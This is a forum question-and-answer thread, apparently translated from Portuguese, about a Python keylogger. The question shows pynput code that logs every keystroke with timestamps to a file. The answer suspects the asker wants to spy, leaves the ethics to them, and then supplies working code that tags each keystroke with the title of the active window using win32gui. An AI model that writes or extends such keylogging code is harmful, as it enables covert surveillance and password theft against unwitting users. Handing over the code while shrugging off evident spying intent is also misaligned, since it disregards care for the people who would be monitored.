Capture typed key using Python 3

Asked

Viewed 235 times

2

Below I have a code in Python that capture typed key, only I need to get the name of the program where he typed such key. How can I do that?

from pynput.keyboard import Key, Listener
import logging

"""Pega tecla digitada"""

log_dir = "C:/Users/"

logging.basicConfig(filename=(log_dir + "key_log1.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
    print(key)
   
with Listener(on_press=on_press) as listener:
    listener.join()

1 answer

0

It smells to me like Hackers huahuahua, do not know what is the intention of this, spy ? just know how it works ? I’ll show you how to do it and then you make the decisions about what’s ethical and what’s not ..

I assume you are using windows, because I see a C:/Users/ in your code, you will need some lib that can work at the level of API windows, that API must include the core classes of Microsoft, obvious that there is something like this for Python in windows, you can install and import the win32gui, takes a look at the amount of methods you can get from windows with that lib here.

So let’s see how a good hacker would do rsrs, go to the documentation page of the windows API and look for which method has access to a user’s current working window... you will find the following link in microsoft, Hummm this such GetForegroundWindow seems to match what you need heimm ?? description in English of the page :

Retrieves a Handle to the foreground window (the window with which the user is Currently Working)

Literal translation of that there Recupera um identificador para a janela do primeiro plano (a janela com a qual o usuário está trabalhando)

Ok seems promising, but then will the Windows API provide some function that I take via text the name of the active window ?

And we’ll go again on the microsoft page, look at the documentation, and once again bingooo one such Getwindowtext, the description tells me:

Retrieves the text from the specified window’s title bar

In other words, according to the Windows documentation you are saying that you recover the title bar text from the specified window, what if you use both together ? take the current window in the foreground and then grab the text from that window which will usually be the identifier of the program name ?? will be ???

Let’s see if what we found on the microsoft page was well implemented by the python module win32gui, look in the win32gui documentation and see if there are these two implemented methods, I looked at the documentation link and found them there, so let’s try to codify and see if funf:

from pynput.keyboard import Key, Listener
from win32gui import GetWindowText, GetForegroundWindow
import logging

"""Pega tecla digitada"""

log_dir = "C:/"

logging.basicConfig(filename=(log_dir + "key_log1.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
    print(key)
    print(GetWindowText(GetForegroundWindow()))
   
with Listener(on_press=on_press) as listener:
    listener.join()

Look how it turned out GetWindowText(GetForegroundWindow()) and once again bingooo ... (if I played bingo at least I was good kkk)

Testing on the Chrome

inserir a descrição da imagem aqui

Browser other questions tagged

You are not signed in. Login or sign up in order to post.